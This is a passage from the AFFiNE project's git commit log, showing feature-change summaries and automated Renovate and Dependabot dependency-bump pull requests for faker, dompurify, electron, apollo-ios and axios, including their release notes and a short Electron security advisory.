and category, see active selection, switch models, and receive
notifications when choosing pro models without a subscription.
Selections persist across sessions.
- Central AI model service wired into chat UI for consistent model
selection and availability.

- Changes
- Streamlined AI model availability: reduced to a curated set for a more
focused experience.
  - Context menu buttons can display supplemental info next to labels.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-22 13:25:11 +00:00
renovate[bot]
da3e3eb3fa chore: bump up @faker-js/faker version to v10 (#13626)
Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs
from Renovate will soon appear from 'Mend'. Learn more
[here](https://redirect.github.com/renovatebot/renovate/discussions/37842).

This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [@faker-js/faker](https://fakerjs.dev)
([source](https://redirect.github.com/faker-js/faker)) | [`^9.6.0` ->
`^10.0.0`](https://renovatebot.com/diffs/npm/@faker-js%2ffaker/9.8.0/10.0.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@faker-js%2ffaker/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@faker-js%2ffaker/9.8.0/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@faker-js/faker](https://fakerjs.dev)
([source](https://redirect.github.com/faker-js/faker)) | [`^9.3.0` ->
`^10.0.0`](https://renovatebot.com/diffs/npm/@faker-js%2ffaker/9.8.0/10.0.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@faker-js%2ffaker/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@faker-js%2ffaker/9.8.0/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>faker-js/faker (@&#8203;faker-js/faker)</summary>

###
[`v10.0.0`](https://redirect.github.com/faker-js/faker/blob/HEAD/CHANGELOG.md#1000-2025-08-21)

[Compare
Source](https://redirect.github.com/faker-js/faker/compare/v9.9.0...v10.0.0)

##### New Locales

- **locale:** extended list of colors in Polish
([#&#8203;3586](https://redirect.github.com/faker-js/faker/issues/3586))
([9940d54](9940d54f75))

##### Features

- **locales:** add animal vocabulary(bear, bird, cat, rabbit, pet\_name)
in Korean
([#&#8203;3535](https://redirect.github.com/faker-js/faker/issues/3535))
([0d2143c](0d2143c75d))

##### Changed Locales

- **locale:** remove invalid credit card issuer patterns
([#&#8203;3568](https://redirect.github.com/faker-js/faker/issues/3568))
([9783d95](9783d95a8e))

###
[`v9.9.0`](https://redirect.github.com/faker-js/faker/blob/HEAD/CHANGELOG.md#990-2025-07-01)

[Compare
Source](https://redirect.github.com/faker-js/faker/compare/v9.8.0...v9.9.0)

##### New Locales

- **locale:** add word data to pt\_br and pt\_pt locales
([#&#8203;3531](https://redirect.github.com/faker-js/faker/issues/3531))
([a405ac8](a405ac8740))

##### Features

- **location:** simple coordinate methods
([#&#8203;3528](https://redirect.github.com/faker-js/faker/issues/3528))
([d07d96d](d07d96d018))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS45Ny4xMCIsInVwZGF0ZWRJblZlciI6IjQxLjk3LjEwIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-09-22 12:18:23 +00:00
DarkSky
e3f3c8c4a8 feat: add config for mail server name (#13632)
fix #13627

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Added configurable display names for primary and fallback SMTP
servers, improving email sender identification.
* Defaults to “AFFiNE Server,” with support for MAILER_SERVERNAME
environment variable for the primary SMTP.
* Exposed in admin settings for easy setup alongside existing SMTP
options.
* Names are now passed through to mail transport options for consistent
use across emails.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-22 11:52:15 +00:00
3720
7fe95f50f4 fix(editor): callout delete merge and slash menu (#13597)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Press Enter inside a callout splits the paragraph at the cursor into a
new focused paragraph.
- Clicking an empty callout inserts and focuses a new paragraph; emoji
menu behavior unchanged.
- New command to convert a callout paragraph to callout/selection flow
for Backspace handling.
  - New native API: ShareableContent.isUsingMicrophone(processId).

- Bug Fixes
- Backspace inside callout paragraphs now merges or deletes text
predictably and selects the callout when appropriate.

- Style
- Callout layout refined: top-aligned content and adjusted emoji
spacing.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-22 11:29:18 +00:00
Cats Juice
195864fc88 feat(core): edit icon in navigation panel (#13595)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Rename dialog now edits per-item explorer icons (emoji or custom) and
can skip name-change callbacks. Doc icon picker added to the editor with
localized "Add icon" placeholder and readonly rendering. Icon editor
supports fallbacks, trigger variants, and improved input/test-id wiring.

- **Style**
- Updated icon picker and trigger sizing and placeholder visuals;
title/icon layout adjustments.

- **Chores**
- Explorer icon storage and module added to persist and serve icons
across the app.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-22 10:24:11 +00:00
dependabot[bot]
93554304e2 chore: bump dompurify from 3.1.6 to 3.2.7 (#13622)
Bumps [dompurify](https://github.com/cure53/DOMPurify) from 3.1.6 to
3.2.7.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/cure53/DOMPurify/releases">dompurify's
releases</a>.</em></p>
<blockquote>
<h2>DOMPurify 3.2.7</h2>
<ul>
<li>Added new attributes and elements to default allow-list, thanks <a
href="https://github.com/elrion018"><code>@​elrion018</code></a></li>
<li>Added <code>tagName</code> parameter to custom element
<code>attributeNameCheck</code>, thanks <a
href="https://github.com/nelstrom"><code>@​nelstrom</code></a></li>
<li>Added better check for animated <code>href</code> attributes, thanks
<a href="https://github.com/llamakko"><code>@​llamakko</code></a></li>
<li>Updated and improved the bundled types, thanks <a
href="https://github.com/ssi02014"><code>@​ssi02014</code></a></li>
<li>Updated several tests to better align with new browser encoding
behaviors</li>
<li>Improved the handling of potentially risky content inside CDATA
elements, thanks <a
href="https://github.com/securityMB"><code>@​securityMB</code></a> &amp;
<a href="https://github.com/terjanq"><code>@​terjanq</code></a></li>
<li>Improved the regular expression for raw-text elements to cover
textareas, thanks <a
href="https://github.com/securityMB"><code>@​securityMB</code></a> &amp;
<a href="https://github.com/terjanq"><code>@​terjanq</code></a></li>
</ul>
<h2>DOMPurify 3.2.6</h2>
<ul>
<li>Fixed several typos and removed clutter from our documentation,
thanks <a
href="https://github.com/Rotzbua"><code>@​Rotzbua</code></a></li>
<li>Added <code>matrix:</code> as an allowed URI scheme, thanks <a
href="https://github.com/kleinesfilmroellchen"><code>@​kleinesfilmroellchen</code></a></li>
<li>Added better config hardening against prototype pollution, thanks <a
href="https://github.com/EffectRenan"><code>@​EffectRenan</code></a></li>
<li>Added better handling of attribute removal, thanks <a
href="https://github.com/michalnieruchalski-tiugo"><code>@​michalnieruchalski-tiugo</code></a></li>
<li>Added better configuration for aggressive mXSS scrubbing behavior,
thanks <a
href="https://github.com/BryanValverdeU"><code>@​BryanValverdeU</code></a></li>
<li>Removed the script that caused the fake entry <a
href="https://security.snyk.io/vuln/SNYK-JS-DOMPURIFY-10176060">CVE-2025-48050</a></li>
</ul>
<h2>DOMPurify 3.2.5</h2>
<ul>
<li>Added a check to the mXSS detection regex to be more strict, thanks
<a
href="https://github.com/masatokinugawa"><code>@​masatokinugawa</code></a></li>
<li>Added ESM type imports in source, removes patch function, thanks <a
href="https://github.com/donmccurdy"><code>@​donmccurdy</code></a></li>
<li>Added script to verify various TypeScript configurations, thanks <a
href="https://github.com/reduckted"><code>@​reduckted</code></a></li>
<li>Added more modern browsers to the Karma launchers list</li>
<li>Added Node 23.x to tested runtimes, removed Node 17.x</li>
<li>Fixed the generation of source maps, thanks <a
href="https://github.com/reduckted"><code>@​reduckted</code></a></li>
<li>Fixed an unexpected behavior with <code>ALLOWED_URI_REGEXP</code>
using the 'g' flag, thanks <a
href="https://github.com/hhk-png"><code>@​hhk-png</code></a></li>
<li>Fixed a few typos in the README file</li>
</ul>
<h2>DOMPurify 3.2.4</h2>
<ul>
<li>Fixed a conditional and config dependent mXSS-style <a
href="https://nsysean.github.io/posts/dompurify-323-bypass/">bypass</a>
reported by <a
href="https://github.com/nsysean"><code>@​nsysean</code></a></li>
<li>Added a new feature to allow specific hook removal, thanks <a
href="https://github.com/davecardwell"><code>@​davecardwell</code></a></li>
<li>Added <em>purify.js</em> and <em>purify.min.js</em> to exports,
thanks <a
href="https://github.com/Aetherinox"><code>@​Aetherinox</code></a></li>
<li>Added better logic in case no window object is president, thanks <a
href="https://github.com/yehuya"><code>@​yehuya</code></a></li>
<li>Updated some dependencies called out by dependabot</li>
<li>Updated license files etc to show the correct year</li>
</ul>
<h2>DOMPurify 3.2.3</h2>
<ul>
<li>Fixed two conditional sanitizer bypasses discovered by <a
href="https://github.com/parrot409"><code>@​parrot409</code></a> and <a
href="https://x.com/slonser_"><code>@​Slonser</code></a></li>
<li>Updated the attribute clobbering checks to prevent future bypasses,
thanks <a
href="https://github.com/parrot409"><code>@​parrot409</code></a></li>
</ul>
<h2>DOMPurify 3.2.2</h2>
<ul>
<li>Fixed a possible bypass in case a rather specific config for custom
elements is set, thanks <a
href="https://github.com/yaniv-git"><code>@​yaniv-git</code></a></li>
<li>Fixed several minor issues with the type definitions, thanks again
<a href="https://github.com/reduckted"><code>@​reduckted</code></a></li>
<li>Fixed a minor issue with the types reference for trusted types,
thanks <a
href="https://github.com/reduckted"><code>@​reduckted</code></a></li>
<li>Fixed a minor problem with the template detection regex on some
systems, thanks <a
href="https://github.com/svdb99"><code>@​svdb99</code></a></li>
</ul>
<h2>DOMPurify 3.2.1</h2>
<ul>
<li>Fixed several minor issues with the type definitions, thanks <a
href="https://github.com/reduckted"><code>@​reduckted</code></a> <a
href="https://github.com/ghiscoding"><code>@​ghiscoding</code></a> <a
href="https://github.com/asamuzaK"><code>@​asamuzaK</code></a> <a
href="https://github.com/MiniDigger"><code>@​MiniDigger</code></a></li>
<li>Fixed an issue with non-minified dist files and order of imports,
thanks <a
href="https://github.com/reduckted"><code>@​reduckted</code></a></li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="eaa0bdb26a"><code>eaa0bdb</code></a>
Merge pull request <a
href="https://redirect.github.com/cure53/DOMPurify/issues/1144">#1144</a>
from cure53/main</li>
<li><a
href="f712593118"><code>f712593</code></a>
fix: removed a possibly dossy regex</li>
<li><a
href="eb9b3b6874"><code>eb9b3b6</code></a>
Merge branch 'main' of github.com:cure53/DOMPurify</li>
<li><a
href="ce006f705c"><code>ce006f7</code></a>
chore: Preparing 3.2.7 release</li>
<li><a
href="ef0e0cb6eb"><code>ef0e0cb</code></a>
chore: Preparing 3.2.6 release</li>
<li><a
href="2f09cd3c8e"><code>2f09cd3</code></a>
Update README.md</li>
<li><a
href="6a795bcf3e"><code>6a795bc</code></a>
Merge pull request <a
href="https://redirect.github.com/cure53/DOMPurify/issues/1142">#1142</a>
from cure53/dependabot/github_actions/actions/setup-...</li>
<li><a
href="2458bbdfca"><code>2458bbd</code></a>
build(deps): bump actions/setup-node from 4 to 5</li>
<li><a
href="e43d3f3548"><code>e43d3f3</code></a>
Merge pull request <a
href="https://redirect.github.com/cure53/DOMPurify/issues/1136">#1136</a>
from cure53/dependabot/github_actions/actions/checko...</li>
<li><a
href="6f5be37ee0"><code>6f5be37</code></a>
build(deps): bump actions/checkout from 4 to 5</li>
<li>Additional commits viewable in <a
href="https://github.com/cure53/DOMPurify/compare/3.1.6...3.2.7">compare
view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=dompurify&package-manager=npm_and_yarn&previous-version=3.1.6&new-version=3.2.7)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the
[Security Alerts
page](https://github.com/toeverything/AFFiNE/network/alerts).

</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-09-21 19:05:12 +00:00
renovate[bot]
2f38953cf9 chore: bump up electron version to v35.7.5 [SECURITY] (#13561)
Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs
from Renovate will soon appear from 'Mend'. Learn more
[here](https://redirect.github.com/renovatebot/renovate/discussions/37842).

This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [electron](https://redirect.github.com/electron/electron) | [`35.5.1`
-> `35.7.5`](https://renovatebot.com/diffs/npm/electron/35.5.1/35.7.5) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/electron/35.7.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron/35.5.1/35.7.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-55305](https://redirect.github.com/electron/electron/security/advisories/GHSA-vmqv-hx8q-j7mg)

### Impact
This only impacts apps that have the `embeddedAsarIntegrityValidation`
and `onlyLoadAppFromAsar`
[fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) enabled.
Apps without these fuses enabled are not impacted.

Specifically this issue can only be exploited if your app is launched
from a filesystem the attacker has write access too. i.e. the ability to
edit files inside the `resources` folder in your app installation on
Windows which these fuses are supposed to protect against.

### Workarounds
There are no app side workarounds, you must update to a patched version
of Electron.

### Fixed Versions
* `38.0.0-beta.6`
* `37.3.1`
* `36.8.1`
* `35.7.5`

### For more information
If you have any questions or comments about this advisory, email us at
[security@electronjs.org](mailto:security@electronjs.org)

---

### Release Notes

<details>
<summary>electron/electron (electron)</summary>

###
[`v35.7.5`](https://redirect.github.com/electron/electron/releases/tag/v35.7.5):
electron v35.7.5

[Compare
Source](https://redirect.github.com/electron/electron/compare/v35.7.4...v35.7.5)

##### Release Notes for v35.7.5

> \[!WARNING]
> Electron 35.x.y has reached end-of-support as per the project's
[support
policy](https://www.electronjs.org/docs/latest/tutorial/electron-timelines#version-support-policy).
Developers and applications are encouraged to upgrade to a newer version
of Electron.

##### Fixes

- Fixed an issue where `shell.openPath` was not non-blocking as
expected.
[#&#8203;48079](https://redirect.github.com/electron/electron/pull/48079)
<span style="font-size:small;">(Also in
[36](https://redirect.github.com/electron/electron/pull/48088),
[37](https://redirect.github.com/electron/electron/pull/48088),
[38](https://redirect.github.com/electron/electron/pull/48088))</span>

###
[`v35.7.4`](https://redirect.github.com/electron/electron/releases/tag/v35.7.4):
electron v35.7.4

[Compare
Source](https://redirect.github.com/electron/electron/compare/v35.7.2...v35.7.4)

##### Release Notes for v35.7.4

- Fix ffmpeg generation on Windows non-x64

###
[`v35.7.2`](https://redirect.github.com/electron/electron/releases/tag/v35.7.2):
electron v35.7.2

[Compare
Source](https://redirect.github.com/electron/electron/compare/v35.7.0...v35.7.2)

##### Release Notes for v35.7.2

##### Fixes

- Fixed an issue where printing PDFs with `webContents.print({ silent:
true })` would fail.
[#&#8203;47645](https://redirect.github.com/electron/electron/pull/47645)
<span style="font-size:small;">(Also in
[36](https://redirect.github.com/electron/electron/pull/47624),
[37](https://redirect.github.com/electron/electron/pull/47397))</span>

###
[`v35.7.0`](https://redirect.github.com/electron/electron/releases/tag/v35.7.0):
electron v35.7.0

[Compare
Source](https://redirect.github.com/electron/electron/compare/v35.6.0...v35.7.0)

##### Release Notes for v35.7.0

##### Other Changes

- Updated Node.js to v22.16.0.
[#&#8203;47213](https://redirect.github.com/electron/electron/pull/47213)

###
[`v35.6.0`](https://redirect.github.com/electron/electron/releases/tag/v35.6.0):
electron v35.6.0

[Compare
Source](https://redirect.github.com/electron/electron/compare/v35.5.1...v35.6.0)

##### Release Notes for v35.6.0

##### Features

- Added support for `--no-experimental-global-navigator` flag.
[#&#8203;47416](https://redirect.github.com/electron/electron/pull/47416)
<span style="font-size:small;">(Also in
[36](https://redirect.github.com/electron/electron/pull/47417),
[37](https://redirect.github.com/electron/electron/pull/47418))</span>
- Added support for customizing system accent color and highlighting of
active window border.
[#&#8203;47539](https://redirect.github.com/electron/electron/pull/47539)
<span style="font-size:small;">(Also in
[36](https://redirect.github.com/electron/electron/pull/47538),
[37](https://redirect.github.com/electron/electron/pull/47537))</span>

##### Fixes

- Fixed a potential crash using `session.clearData` in some
circumstances.
[#&#8203;47410](https://redirect.github.com/electron/electron/pull/47410)
<span style="font-size:small;">(Also in
[36](https://redirect.github.com/electron/electron/pull/47411),
[37](https://redirect.github.com/electron/electron/pull/47412))</span>
- Fixed an error when importing `electron` for the first time from an
ESM module loaded by a CJS module in a packaged app.
[#&#8203;47344](https://redirect.github.com/electron/electron/pull/47344)
<span style="font-size:small;">(Also in
[36](https://redirect.github.com/electron/electron/pull/47343),
[37](https://redirect.github.com/electron/electron/pull/47342))</span>
- Fixed an issue where calling `Fetch.continueResponse` via debugger
with `WebContentsView` could cause a crash.
[#&#8203;47443](https://redirect.github.com/electron/electron/pull/47443)
<span style="font-size:small;">(Also in
[36](https://redirect.github.com/electron/electron/pull/47442),
[37](https://redirect.github.com/electron/electron/pull/47444))</span>
- Fixed an issue where utility processes could leak file handles.
[#&#8203;47542](https://redirect.github.com/electron/electron/pull/47542)
<span style="font-size:small;">(Also in
[36](https://redirect.github.com/electron/electron/pull/47541),
[37](https://redirect.github.com/electron/electron/pull/47543))</span>
- Partially fixes an issue with printing a PDF via `webContents.print()`
where the callback would not be called.
[#&#8203;47399](https://redirect.github.com/electron/electron/pull/47399)
<span style="font-size:small;">(Also in
[36](https://redirect.github.com/electron/electron/pull/47400),
[37](https://redirect.github.com/electron/electron/pull/47398))</span>

##### Other Changes

- Backported fix for
[`4206375`](https://redirect.github.com/electron/electron/commit/420637585).
[#&#8203;47369](https://redirect.github.com/electron/electron/pull/47369)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS45MS4xIiwidXBkYXRlZEluVmVyIjoiNDEuOTcuMTAiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-09-21 18:47:57 +00:00
renovate[bot]
ebf75e4d31 chore: bump up apollographql/apollo-ios version to v1.23.0 (#13623)
Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs
from Renovate will soon appear from 'Mend'. Learn more
[here](https://redirect.github.com/renovatebot/renovate/discussions/37842).

This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
|
[apollographql/apollo-ios](https://redirect.github.com/apollographql/apollo-ios)
| minor | `from: "1.22.0"` -> `from: "1.23.0"` |
|
[apollographql/apollo-ios](https://redirect.github.com/apollographql/apollo-ios)
| minor | `1.22.0` -> `1.23.0` |

---

### Release Notes

<details>
<summary>apollographql/apollo-ios (apollographql/apollo-ios)</summary>

###
[`v1.23.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1230)

[Compare
Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.22.0...1.23.0)

##### New

- **Added `requireNonOptionalMockFields` flag to
`ApolloCodegenConfiguration.OutputOptions`.
([#&#8203;669](https://redirect.github.com/apollographql/apollo-ios-dev/pull/669)):**
Added new flag to codegen output options to allow having non-optional
fields in the test mocks if desired. *Thank you to
[@&#8203;dwroth](https://redirect.github.com/dwroth) for the
contribution.*

##### Improvement

- **Added public initializer to `DatabaseRow`.
([#&#8203;664](https://redirect.github.com/apollographql/apollo-ios-dev/pull/664)):**
Not having a public initializer on `DatabasRow` was hindering the
ability to create custom `SQLiteDatabase` implementations. This solves
that by adding a public initializer to `DatabaseRow`.*Thank you to
[@&#8203;ChrisLaganiere](https://redirect.github.com/ChrisLaganiere) for
the contribution.*

##### Fixed

- **Unncessary deprecation warning in codegen options initializer.
([#&#8203;3563](https://redirect.github.com/apollographql/apollo-ios/issues/3563)):**
Added `@_disfavoredOverload` to the deprecated initialized in
`ApolloCodegenConfiguration` to prevent possible warnings caused by the
compiler selecting a deprecated initializer versus the new/current
initializer. See PR
[#&#8203;682](https://redirect.github.com/apollographql/apollo-ios-dev/pull/682).
*Thank you to
[@&#8203;CraigSiemens](https://redirect.github.com/CraigSiemens) for
raising the issue.*

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS45Ny4xMCIsInVwZGF0ZWRJblZlciI6IjQxLjk3LjEwIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-09-21 18:35:24 +00:00
dependabot[bot]
2d0721a78f chore: bump axios from 1.9.0 to 1.12.2 (#13621)
Bumps [axios](https://github.com/axios/axios) from 1.9.0 to 1.12.2.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/axios/axios/releases">axios's
releases</a>.</em></p>
<blockquote>
<h2>Release v1.12.2</h2>
<h2>Release notes:</h2>
<h3>Bug Fixes</h3>
<ul>
<li><strong>fetch:</strong> use current global fetch instead of cached
one when env fetch is not specified to keep MSW support; (<a
href="https://redirect.github.com/axios/axios/issues/7030">#7030</a>)
(<a
href="cf78825e12">cf78825</a>)</li>
</ul>
<h3>Contributors to this release</h3>
<ul>
<li><!-- raw HTML omitted --> <a
href="https://github.com/DigitalBrainJS" title="+247/-16
([#7030](https://github.com/axios/axios/issues/7030)
[#7022](https://github.com/axios/axios/issues/7022)
[#7024](https://github.com/axios/axios/issues/7024) )">Dmitriy
Mozgovoy</a></li>
<li><!-- raw HTML omitted --> <a href="https://github.com/noritaka1166"
title="+2/-6 ([#7028](https://github.com/axios/axios/issues/7028)
[#7029](https://github.com/axios/axios/issues/7029) )">Noritaka
Kobayashi</a></li>
</ul>
<h2>Release v1.12.1</h2>
<h2>Release notes:</h2>
<h3>Bug Fixes</h3>
<ul>
<li><strong>types:</strong> fixed env config types; (<a
href="https://redirect.github.com/axios/axios/issues/7020">#7020</a>)
(<a
href="b5f26b75bd">b5f26b7</a>)</li>
</ul>
<h3>Contributors to this release</h3>
<ul>
<li><!-- raw HTML omitted --> <a
href="https://github.com/DigitalBrainJS" title="+10/-4
([#7020](https://github.com/axios/axios/issues/7020) )">Dmitriy
Mozgovoy</a></li>
</ul>
<h2>Release v1.12.0</h2>
<h2>Release notes:</h2>
<h3>Bug Fixes</h3>
<ul>
<li>adding build artifacts (<a
href="9ec86de257">9ec86de</a>)</li>
<li>dont add dist on release (<a
href="a2edc3606a">a2edc36</a>)</li>
<li><strong>fetch-adapter:</strong> set correct Content-Type for Node
FormData (<a
href="https://redirect.github.com/axios/axios/issues/6998">#6998</a>)
(<a
href="a9f47afbf3">a9f47af</a>)</li>
<li><strong>node:</strong> enforce maxContentLength for data: URLs (<a
href="https://redirect.github.com/axios/axios/issues/7011">#7011</a>)
(<a
href="945435fc51">945435f</a>)</li>
<li>package exports (<a
href="https://redirect.github.com/axios/axios/issues/5627">#5627</a>)
(<a
href="aa78ac23fc">aa78ac2</a>)</li>
<li><strong>params:</strong> removing '[' and ']' from URL encode
exclude characters (<a
href="https://redirect.github.com/axios/axios/issues/3316">#3316</a>)
(<a
href="https://redirect.github.com/axios/axios/issues/5715">#5715</a>)
(<a
href="6d84189349">6d84189</a>)</li>
<li>release pr run (<a
href="fd7f404488">fd7f404</a>)</li>
<li><strong>types:</strong> change the type guard on isCancel (<a
href="https://redirect.github.com/axios/axios/issues/5595">#5595</a>)
(<a
href="0dbb7fd4f6">0dbb7fd</a>)</li>
</ul>
<h3>Features</h3>
<ul>
<li><strong>adapter:</strong> surface low‑level network error details;
attach original error via cause (<a
href="https://redirect.github.com/axios/axios/issues/6982">#6982</a>)
(<a
href="78b290c57c">78b290c</a>)</li>
<li><strong>fetch:</strong> add fetch, Request, Response env config
variables for the adapter; (<a
href="https://redirect.github.com/axios/axios/issues/7003">#7003</a>)
(<a
href="c959ff2901">c959ff2</a>)</li>
<li>support reviver on JSON.parse (<a
href="https://redirect.github.com/axios/axios/issues/5926">#5926</a>)
(<a
href="2a9763426e">2a97634</a>),
closes <a
href="https://redirect.github.com/axios/axios/issues/5924">#5924</a></li>
<li><strong>types:</strong> extend AxiosResponse interface to include
custom headers type (<a
href="https://redirect.github.com/axios/axios/issues/6782">#6782</a>)
(<a
href="7960d34ede">7960d34</a>)</li>
</ul>
<h3>Contributors to this release</h3>
<ul>
<li><!-- raw HTML omitted --> <a
href="https://github.com/WillianAgostini" title="+132/-16760
([#7002](https://github.com/axios/axios/issues/7002)
[#5926](https://github.com/axios/axios/issues/5926)
[#6782](https://github.com/axios/axios/issues/6782) )">Willian
Agostini</a></li>
<li><!-- raw HTML omitted --> <a
href="https://github.com/DigitalBrainJS" title="+4263/-293
([#7006](https://github.com/axios/axios/issues/7006)
[#7003](https://github.com/axios/axios/issues/7003) )">Dmitriy
Mozgovoy</a></li>
<li><!-- raw HTML omitted --> <a href="https://github.com/mkhani01"
title="+111/-15 ([#6982](https://github.com/axios/axios/issues/6982)
)">khani</a></li>
<li><!-- raw HTML omitted --> <a href="https://github.com/AmeerAssadi"
title="+123/-0 ([#7011](https://github.com/axios/axios/issues/7011)
)">Ameer Assadi</a></li>
<li><!-- raw HTML omitted --> <a href="https://github.com/emiedonmokumo"
title="+55/-35 ([#6998](https://github.com/axios/axios/issues/6998)
)">Emiedonmokumo Dick-Boro</a></li>
<li><!-- raw HTML omitted --> <a href="https://github.com/opsysdebug"
title="+8/-8 ([#6980](https://github.com/axios/axios/issues/6980)
)">Zeroday BYTE</a></li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/axios/axios/blob/v1.x/CHANGELOG.md">axios's
changelog</a>.</em></p>
<blockquote>
<h2><a
href="https://github.com/axios/axios/compare/v1.12.1...v1.12.2">1.12.2</a>
(2025-09-14)</h2>
<h3>Bug Fixes</h3>
<ul>
<li><strong>fetch:</strong> use current global fetch instead of cached
one when env fetch is not specified to keep MSW support; (<a
href="https://redirect.github.com/axios/axios/issues/7030">#7030</a>)
(<a
href="cf78825e12">cf78825</a>)</li>
</ul>
<h3>Contributors to this release</h3>
<ul>
<li><!-- raw HTML omitted --> <a
href="https://github.com/DigitalBrainJS" title="+247/-16
([#7030](https://github.com/axios/axios/issues/7030)
[#7022](https://github.com/axios/axios/issues/7022)
